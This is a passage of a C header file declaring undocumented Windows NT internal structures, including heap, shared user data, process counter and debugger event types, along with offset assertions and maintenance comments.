ULONG Count; ULONG Size; SIZE_T UserCount; SIZE_T UserSize; PVOID UserContext; struct _RTL_TRACE_BLOCK * Next; PVOID * Trace; } RTL_TRACE_BLOCK, * PRTL_TRACE_BLOCK; typedef ULONG (* RTL_TRACE_HASH_FUNCTION) (ULONG Count, PVOID * Trace); typedef struct _RTL_TRACE_DATABASE * PRTL_TRACE_DATABASE; typedef struct _RTL_TRACE_ENUMERATE { PRTL_TRACE_DATABASE Database; ULONG Index; PRTL_TRACE_BLOCK Block; } RTL_TRACE_ENUMERATE, * PRTL_TRACE_ENUMERATE; typedef struct _KLDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; PVOID ExceptionTable; ULONG ExceptionTableSize; PVOID GpValue; struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT __Unused5; PVOID SectionPointer; ULONG CheckSum; ULONG CoverageSectionSize; PVOID CoverageSection; PVOID LoadedImports; PVOID PatchInformation; } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; // #define RTL_HEAP_BUSY (USHORT)0x0001 #define RTL_HEAP_SEGMENT (USHORT)0x0002 #define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 #define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 #define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 #define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 #define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 #define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 #define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 #pragma warning(disable: 4273) // nconsistent dll linkage (winnt.h) typedef struct _DISPATCHER_HEADER { union { struct { UCHAR Type; union { UCHAR Absolute; UCHAR NpxIrql; }; union { UCHAR Size; UCHAR Hand; }; union { UCHAR Inserted; BOOLEAN DebugActive; }; }; // struct .. volatile LONG Lock; }; // first union .. LONG SignalState; LIST_ENTRY WaitListHead; } DISPATCHER_HEADER, *PDISPATCHER_HEADER; typedef struct _KEVENT { DISPATCHER_HEADER Header; } KEVENT, *PKEVENT, *PRKEVENT; typedef struct _KGATE { DISPATCHER_HEADER Header; } KGATE, *PKGATE; typedef struct _KSEMAPHORE { DISPATCHER_HEADER Header; LONG Limit; } KSEMAPHORE, *PKSEMAPHORE; // typedef struct _OWNER_ENTRY { ULONG OwnerThread; LONG OwnerCount; ULONG TableSize; } OWNER_ENTRY, *POWNER_ENTRY; // typedef struct _ERESOURCE { LIST_ENTRY SystemResourcesList; OWNER_ENTRY* OwnerTable; SHORT ActiveCount; USHORT Flag; KSEMAPHORE* SharedWaiters; KEVENT* ExclusiveWaiters; OWNER_ENTRY OwnerEntry; ULONG ActiveEntries; ULONG ContentionCount; ULONG NumberOfSharedWaiters; ULONG NumberOfExclusiveWaiters; PVOID Address; ULONG CreatorBackTraceIndex; ULONG SpinLock; } ERESOURCE, *PERESOURCE; // #define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) #define HEAP_GRANULARITY (sizeof( HEAP_ENTRY )) #define HEAP_GRANULARITY_SHIFT 3 #define HEAP_MAXIMUM_BLOCK_SIZE (USHORT)(((0x10000 << HEAP_GRANULARITY_SHIFT) - PAGE_SIZE) >> HEAP_GRANULARITY_SHIFT) #define HEAP_MAXIMUM_FREELISTS 128 #define HEAP_MAXIMUM_SEGMENTS 16 #define HEAP_ENTRY_BUSY 0x01 #define HEAP_ENTRY_EXTRA_PRESENT 0x02 #define HEAP_ENTRY_FILL_PATTERN 0x04 #define HEAP_ENTRY_VIRTUAL_ALLOC 0x08 #define HEAP_ENTRY_LAST_ENTRY 0x10 #define HEAP_ENTRY_SETTABLE_FLAG1 0x20 #define HEAP_ENTRY_SETTABLE_FLAG2 0x40 #define HEAP_ENTRY_SETTABLE_FLAG3 0x80 #define HEAP_ENTRY_SETTABLE_FLAGS 0xE0 typedef struct _HEAP_LOCK { union { RTL_CRITICAL_SECTION CriticalSection; ERESOURCE Resource; } Lock; } HEAP_LOCK, *PHEAP_LOCK; typedef struct _HEAP_TUNING_PARAMETERS { ULONG CommittThresholdShift; ULONG MaxPreCommittThreshold; } HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; // typedef struct _HEAP_PSEUDO_TAG_ENTRY { ULONG Allocs; ULONG Frees; ULONG Size; } HEAP_PSEUDO_TAG_ENTRY, *PHEAP_PSEUDO_TAG_ENTRY; // typedef struct _HEAP_TAG_ENTRY { ULONG Allocs; ULONG Frees; ULONG Size; USHORT TagIndex; USHORT CreatorBackTraceIndex; WCHAR TagName[ 24 ]; } HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; // typedef struct _HEAP_ENTRY { USHORT Size; UCHAR Flags; UCHAR SmallTagIndex; PVOID SubSegmentCode; USHORT PreviousSize; UCHAR SegmentOffset; UCHAR LFHFlags; UCHAR UnusedBytes; USHORT FunctionIndex; USHORT ContextValue; ULONG InterceptorValue; USHORT UnusedBytesLength; UCHAR EntryOffset; UCHAR ExtendedBlockSignature; ULONG Code1; USHORT Code2; UCHAR Code3; UCHAR Code4; ULONG64 AgregateCode; } HEAP_ENTRY, *PHEAP_ENTRY; typedef struct _HEAP_COUNTERS { ULONG TotalMemoryReserved; ULONG TotalMemoryCommitted; ULONG TotalMemoryLargeUCR; ULONG TotalSizeInVirtualBlocks; ULONG TotalSegments; ULONG TotalUCRs; ULONG CommittOps; ULONG DeCommitOps; ULONG LockAcquires; ULONG LockCollisions; ULONG CommitRate; ULONG DecommittRate; ULONG CommitFailures; ULONG InBlockCommitFailures; ULONG CompactHeapCalls; ULONG CompactedUCRs; ULONG InBlockDeccommits; ULONG InBlockDeccomitSize; } HEAP_COUNTERS, *PHEAP_COUNTERS; // typedef struct _HEAP { HEAP_ENTRY Entry; ULONG SegmentSignature; ULONG SegmentFlags; LIST_ENTRY SegmentListEntry; struct _HEAP* Heap; PVOID BaseAddress; ULONG NumberOfPages; PHEAP_ENTRY FirstEntry; PHEAP_ENTRY LastValidEntry; ULONG NumberOfUnCommittedPages; ULONG NumberOfUnCommittedRanges; USHORT SegmentAllocatorBackTraceIndex; USHORT Reserved; LIST_ENTRY UCRSegmentList; ULONG Flags; ULONG ForceFlags; ULONG CompatibilityFlags; ULONG EncodeFlagMask; HEAP_ENTRY Encoding; ULONG PointerKey; ULONG Interceptor; ULONG VirtualMemoryThreshold; ULONG Signature; ULONG SegmentReserve; ULONG SegmentCommit; ULONG DeCommitFreeBlockThreshold; ULONG DeCommitTotalFreeThreshold; ULONG TotalFreeSize; ULONG MaximumAllocationSize; USHORT ProcessHeapsListIndex; USHORT HeaderValidateLength; PVOID HeaderValidateCopy; USHORT NextAvailableTagIndex; USHORT MaximumTagIndex; PHEAP_TAG_ENTRY TagEntries; LIST_ENTRY UCRList; ULONG AlignRound; ULONG AlignMask; LIST_ENTRY VirtualAllocdBlocks; LIST_ENTRY SegmentList; USHORT AllocatorBackTraceIndex; ULONG NonDedicatedListLength; PVOID BlocksIndex; PVOID UCRIndex; PHEAP_PSEUDO_TAG_ENTRY PseudoTagEntries; LIST_ENTRY FreeLists; PHEAP_LOCK LockVariable; LONG * CommitRoutine; // <<-- http://www.nirsoft.net/kernel_struct/vista/HEAP.html PVOID FrontEndHeap; USHORT FrontHeapLockCount; UCHAR FrontEndHeapType; HEAP_COUNTERS Counters; HEAP_TUNING_PARAMETERS TuningParameters; } HEAP, *PHEAP; // typedef struct _HEAP_FREE_ENTRY_EXTRA { USHORT TagIndex; USHORT FreeBackTraceIndex; } HEAP_FREE_ENTRY_EXTRA, *PHEAP_FREE_ENTRY_EXTRA; // typedef struct _HEAP_ENTRY_EXTRA { USHORT AllocatorBackTraceIndex; USHORT TagIndex; ULONG Settable; ULONG64 ZeroInit; } HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; // typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY { LIST_ENTRY Entry; HEAP_ENTRY_EXTRA ExtraStuff; ULONG CommitSize; ULONG ReserveSize; HEAP_ENTRY BusyBlock; } HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; // // // Known extended CPU state feature IDs // // #define XSTATE_LEGACY_FLOATING_POINT 0 // #define XSTATE_LEGACY_SSE 1 // #define XSTATE_GSSE 2 // // #define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) // #define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) // #define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) // #define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) // // #define MAXIMUM_XSTATE_FEATURES 64 typedef enum _HARDERROR_RESPONSE_OPTION { OptionAbortRetryIgnore, OptionOk, OptionOkCancel, OptionRetryCancel, OptionYesNo, OptionYesNoCancel, OptionShutdownSystem, OptionOkNoWait, OptionCancelTryContinue } HARDERROR_RESPONSE_OPTION; typedef enum _HARDERROR_RESPONSE { ResponseReturnToCaller, ResponseNotHandled, ResponseAbort, ResponseCancel, ResponseIgnore, ResponseNo, ResponseOk, ResponseRetry, ResponseYes, ResponseTryAgain, ResponseContinue } HARDERROR_RESPONSE; typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE { StandardDesign, // None == 0 == standard design NEC98x86, // NEC PC98xx series on X86 EndAlternatives // past end of known alternatives } ALTERNATIVE_ARCHITECTURE_TYPE; #define NX_SUPPORT_POLICY_ALWAYSOFF 0 #define NX_SUPPORT_POLICY_ALWAYSON 1 #define NX_SUPPORT_POLICY_OPTIN 2 #define NX_SUPPORT_POLICY_OPTOUT 3 #define PROCESSOR_FEATURE_MAX 64 #define MAX_WOW64_SHARED_ENTRIES 16 #if defined(_MSC_VER) && (_MSC_VER < 1300) #define XSTATE_LEGACY_FLOATING_POINT 0 #define XSTATE_LEGACY_SSE 1 #define XSTATE_GSSE 2 #define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) #define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) #define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) #define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) #define MAXIMUM_XSTATE_FEATURES 64 // // Extended processor state configuration // #if defined(_WINNT_) && defined(_MSC_VER) && _MSC_VER < 1300 typedef struct _XSTATE_FEATURE { DWORD Offset; DWORD Size; } XSTATE_FEATURE, *PXSTATE_FEATURE; typedef struct _XSTATE_CONFIGURATION { // Mask of enabled features DWORD64 EnabledFeatures; // Total size of the save area DWORD Size; DWORD OptimizedSave : 1; // List of features ( XSTATE_FEATURE Features[MAXIMUM_XSTATE_FEATURES]; } XSTATE_CONFIGURATION, *PXSTATE_CONFIGURATION; #endif #ifndef _WINDOWS_ typedef enum _HEAP_INFORMATION_CLASS { HeapCompatibilityInformation } HEAP_INFORMATION_CLASS; #endif //_WINDOWS_ #endif typedef struct _KUSER_SHARED_DATA { ULONG TickCountLowDeprecated; ULONG TickCountMultiplier; volatile KSYSTEM_TIME InterruptTime; volatile KSYSTEM_TIME SystemTime; volatile KSYSTEM_TIME TimeZoneBias; USHORT ImageNumberLow; USHORT ImageNumberHigh; WCHAR NtSystemRoot[260]; ULONG MaxStackTraceDepth; ULONG CryptoExponent; ULONG TimeZoneId; ULONG LargePageMinimum; ULONG Reserved2[7]; ULONG NtProductType; BOOLEAN ProductTypeIsValid; ULONG NtMajorVersion; ULONG NtMinorVersion; BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; ULONG Reserved1; ULONG Reserved3; volatile ULONG TimeSlip; ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; LARGE_INTEGER SystemExpirationDate; ULONG SuiteMask; BOOLEAN KdDebuggerEnabled; UCHAR NXSupportPolicy; volatile ULONG ActiveConsoleId; volatile ULONG DismountCount; ULONG ComPlusPackage; ULONG LastSystemRITEventTickCount; ULONG NumberOfPhysicalPages; BOOLEAN SafeBootMode; union { UCHAR TscQpcData; struct { UCHAR TscQpcEnabled : 1; UCHAR TscQpcSpareFlag : 1; UCHAR TscQpcShift : 6; }; }; UCHAR TscQpcPad[2]; union { ULONG TraceLogging; ULONG SharedDataFlags; struct { ULONG DbgErrorPortPresent : 1; ULONG DbgElevationEnabled : 1; ULONG DbgVirtEnabled : 1; ULONG DbgInstallerDetectEnabled : 1; ULONG DbgSystemDllRelocated : 1; ULONG DbgDynProcessorEnabled : 1; ULONG DbgSEHValidationEnabled : 1; ULONG SpareBits : 25; }; }; ULONG DataFlagsPad[1]; ULONGLONG TestRetInstruction; ULONG SystemCall; ULONG SystemCallReturn; ULONGLONG SystemCallPad[3]; union { volatile KSYSTEM_TIME TickCount; volatile ULONG64 TickCountQuad; struct { ULONG ReservedTickCountOverlay[3]; ULONG TickCountPad[1]; }; }; ULONG Cookie; // Entries below all invalid below Windows Vista ULONG CookiePad[1]; LONGLONG ConsoleSessionForegroundProcessId; ULONG Wow64SharedInformation[MAX_WOW64_SHARED_ENTRIES]; USHORT UserModeGlobalLogger[16]; ULONG ImageFileExecutionOptions; ULONG LangGenerationCount; union { ULONGLONG AffinityPad; // only valid on Windows Vista ULONG_PTR ActiveProcessorAffinity; // only valid on Windows Vista ULONGLONG Reserved5; }; volatile ULONG64 InterruptTimeBias; volatile ULONG64 TscQpcBias; volatile ULONG ActiveProcessorCount; volatile USHORT ActiveGroupCount; USHORT Reserved4; volatile ULONG AitSamplingValue; volatile ULONG AppCompatFlag; ULONGLONG SystemDllNativeRelocation; ULONG SystemDllWowRelocation; ULONG XStatePad[1]; XSTATE_CONFIGURATION XState; } KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x20); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x2c); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x2e); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved2) == 0x248); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NXSupportPolicy) == 0x2d5); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dC); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TraceLogging) == 0x2f0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCall) == 0x300); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallReturn) == 0x304); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x308); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Cookie) == 0x330); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ConsoleSessionForegroundProcessId) == 0x338); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Wow64SharedInformation) == 0x340); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved5) == 0x3a8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TscQpcBias) == 0x3b8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveProcessorCount) == 0x3c0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveGroupCount) == 0x3c4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved4) == 0x3c6); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AitSamplingValue) == 0x3c8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AppCompatFlag) == 0x3cc); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllNativeRelocation) == 0x3d0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllWowRelocation) == 0x3d8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3e0); #define SHARED_USER_DATA_VA 0x7FFE0000 #define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)SHARED_USER_DATA_VA) __inline struct _KUSER_SHARED_DATA * GetKUserSharedData() { return (USER_SHARED_DATA); } __forceinline ULONG NtGetTickCount() { return (ULONG) ((USER_SHARED_DATA->TickCountQuad * USER_SHARED_DATA->TickCountMultiplier) >> 24); } //added 20/03/2011 #define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 #define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 #define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 //added 20/03/2011 typedef struct _RTL_PROCESS_REFLECTION_INFORMATION { HANDLE Process; HANDLE Thread; CLIENT_ID ClientId; } RTL_PROCESS_REFLECTION_INFORMATION, *PRTL_PROCESS_REFLECTION_INFORMATION; //FIXED 21.02.2011 size for x64 typedef struct _VM_COUNTERS { SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; } VM_COUNTERS; typedef VM_COUNTERS *PVM_COUNTERS; #if (_MSC_VER < 1300) && !defined(_WINDOWS_) typedef struct _IO_COUNTERS { ULONGLONG ReadOperationCount; ULONGLONG WriteOperationCount; ULONGLONG OtherOperationCount; ULONGLONG ReadTransferCount; ULONGLONG WriteTransferCount; ULONGLONG OtherTransferCount; } IO_COUNTERS; typedef IO_COUNTERS *PIO_COUNTERS; #endif // SystemProcessesAndThreadsInformation //FIXED 21.02.2011 size for x64 (and as well for x86 too) typedef struct _SYSTEM_PROCESSES_INFORMATION { ULONG NextEntryDelta; ULONG ThreadCount; LARGE_INTEGER SpareLi1; LARGE_INTEGER SpareLi2; LARGE_INTEGER SpareLi3; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR PageDirectoryBase; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; SYSTEM_THREAD_INFORMATION Threads[1]; } SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; #define SIZEOF_BP_BUFFER 32 #define LPC_BUFFER_SIZE 0x130 typedef struct _DBGKM_EXCEPTION { EXCEPTION_RECORD ExceptionRecord; ULONG FirstChance; } DBGKM_EXCEPTION, *PDBGKM_EXCEPTION; typedef struct _DBGKM_CREATE_THREAD { ULONG SubSystemKey; PVOID StartAddress; } DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD; typedef struct _DBGKM_CREATE_PROCESS { ULONG SubSystemKey; HANDLE FileHandle; PVOID BaseOfImage; ULONG DebugInfoFileOffset; ULONG DebugInfoSize; DBGKM_CREATE_THREAD InitialThread; } DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS; typedef struct _DBGKM_EXIT_THREAD { NTSTATUS ExitStatus; } DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD; typedef struct _DBGKM_EXIT_PROCESS { NTSTATUS ExitStatus; } DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS; typedef struct _DBGKM_LOAD_DLL { HANDLE FileHandle; PVOID BaseOfDll; ULONG DebugInfoFileOffset; ULONG DebugInfoSize; PVOID NamePointer; } DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL; typedef struct _DBGKM_UNLOAD_DLL { PVOID BaseAddress; } DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL; typedef enum _DBG_STATE { DbgIdle, DbgReplyPending, DbgCreateThreadStateChange, DbgCreateProcessStateChange, DbgExitThreadStateChange, DbgExitProcessStateChange, DbgExceptionStateChange, DbgBreakpointStateChange, DbgSingleStepStateChange, DbgLoadDllStateChange, DbgUnloadDllStateChange } DBG_STATE, *PDBG_STATE; typedef struct _DBGUI_CREATE_THREAD { HANDLE HandleToThread; DBGKM_CREATE_THREAD NewThread; } DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD; typedef struct _DBGUI_CREATE_PROCESS { HANDLE HandleToProcess; HANDLE HandleToThread; DBGKM_CREATE_PROCESS NewProcess; } DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS; typedef struct _DBGUI_WAIT_STATE_CHANGE { DBG_STATE NewState; CLIENT_ID AppClientId; union { DBGKM_EXCEPTION Exception; DBGUI_CREATE_THREAD CreateThread; DBGUI_CREATE_PROCESS CreateProcessInfo; DBGKM_EXIT_THREAD ExitThread; DBGKM_EXIT_PROCESS ExitProcess; DBGKM_LOAD_DLL LoadDll; DBGKM_UNLOAD_DLL UnloadDll; } StateInfo; } DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE; #define DEBUG_READ_EVENT 0x0001 #define DEBUG_PROCESS_ASSIGN 0x0002 #define DEBUG_SET_INFORMATION 0x0004 #define DEBUG_QUERY_INFORMATION 0x0008 #define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ DEBUG_QUERY_INFORMATION) #define DEBUG_KILL_ON_CLOSE 0x1 typedef enum _DEBUGOBJECTINFOCLASS { DebugObjectFlags = 1, MaxDebugObjectInfoClass } DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS; //added 21/03/2011 //begin typedef struct _RTL_HEAP_TAG_INFO { ULONG NumberOfAllocations; ULONG NumberOfFrees; SIZE_T BytesAllocated; } RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO; #define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS #define MAKE_TAG( t ) (RTL_HEAP_MAKE_TAG( NtdllBaseTag, t )) typedef NTSTATUS (NTAPI *PRTL_ENUM_HEAPS_ROUTINE)( IN PVOID HeapHandle, IN PVOID Parameter ); typedef struct _RTL_HEAP_USAGE_ENTRY { struct _RTL_HEAP_USAGE_ENTRY *Next; PVOID Address; SIZE_T Size; USHORT AllocatorBackTraceIndex; USHORT TagIndex; } RTL_HEAP_USAGE_ENTRY, *PRTL_HEAP_USAGE_ENTRY; typedef struct _RTL_HEAP_USAGE { ULONG Length; SIZE_T BytesAllocated; SIZE_T BytesCommitted; SIZE_T BytesReserved; SIZE_T BytesReservedMaximum; PRTL_HEAP_USAGE_ENTRY Entries; PRTL_HEAP_USAGE_ENTRY AddedEntries; PRTL_HEAP_USAGE_ENTRY RemovedEntries; ULONG_PTR Reserved[8]; } RTL_HEAP_USAGE, *PRTL_HEAP_USAGE; #define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY #define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY typedef struct _RTL_HEAP_WALK_ENTRY { PVOID DataAddress; SIZE_T DataSize; UCHAR OverheadBytes; UCHAR SegmentIndex; USHORT Flags; union { struct { SIZE_T Settable; USHORT TagIndex; USHORT AllocatorBackTraceIndex; ULONG Reserved[2]; } Block; struct { ULONG CommittedSize; ULONG UnCommittedSize; PVOID FirstEntry; PVOID LastEntry; } Segment; }; } RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY; #define HeapDebuggingInformation 0x80000002 typedef NTSTATUS (NTAPI *PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( IN LONG Reserved, IN PVOID HeapHandle, IN PVOID BaseAddress, IN SIZE_T BlockSize, IN ULONG StackTraceDepth, IN PVOID *StackTrace ); typedef struct _HEAP_DEBUGGING_INFORMATION { PVOID InterceptorFunction; USHORT InterceptorValue; ULONG ExtendedOptions; ULONG StackTraceDepth; SIZE_T MinTotalBlockSize; SIZE_T MaxTotalBlockSize; PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; } HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION; // added 11/04/2011 #define PREALLOCATE_EVENT_MASK 0x80000000 #define RtlInitializeLockRoutine(L) RtlInitializeCriticalSectionAndSpinCount((PRTL_CRITICAL_SECTION)(L),(PREALLOCATE_EVENT_MASK | 4000)) #define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) #define RtlReleaseLockRoutine(L) RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)(L)) #define RtlDeleteLockRoutine(L) RtlDeleteCriticalSection((PRTL_CRITICAL_SECTION)(L)) typedef struct _RTL_MEMORY_ZONE_SEGMENT { struct _RTL_MEMORY_ZONE_SEGMENT *NextSegment; SIZE_T Size; PVOID Next; PVOID Limit; } RTL_MEMORY_ZONE_SEGMENT, *PRTL_MEMORY_ZONE_SEGMENT; #if defined(_WINNT_) && defined(_MSC_VER) && (_MSC_VER < 1300) typedef struct _RTL_SRWLOCK { PVOID Ptr; } RTL_SRWLOCK, *PRTL_SRWLOCK; #endif typedef struct _RTL_MEMORY_ZONE { RTL_MEMORY_ZONE_SEGMENT Segment; RTL_SRWLOCK Lock; ULONG LockCount; PRTL_MEMORY_ZONE_SEGMENT FirstSegment; } RTL_MEMORY_ZONE, *PRTL_MEMORY_ZONE; typedef struct _RTL_PROCESS_VERIFIER_OPTIONS { ULONG SizeStruct; ULONG Option; UCHAR OptionData[1]; } 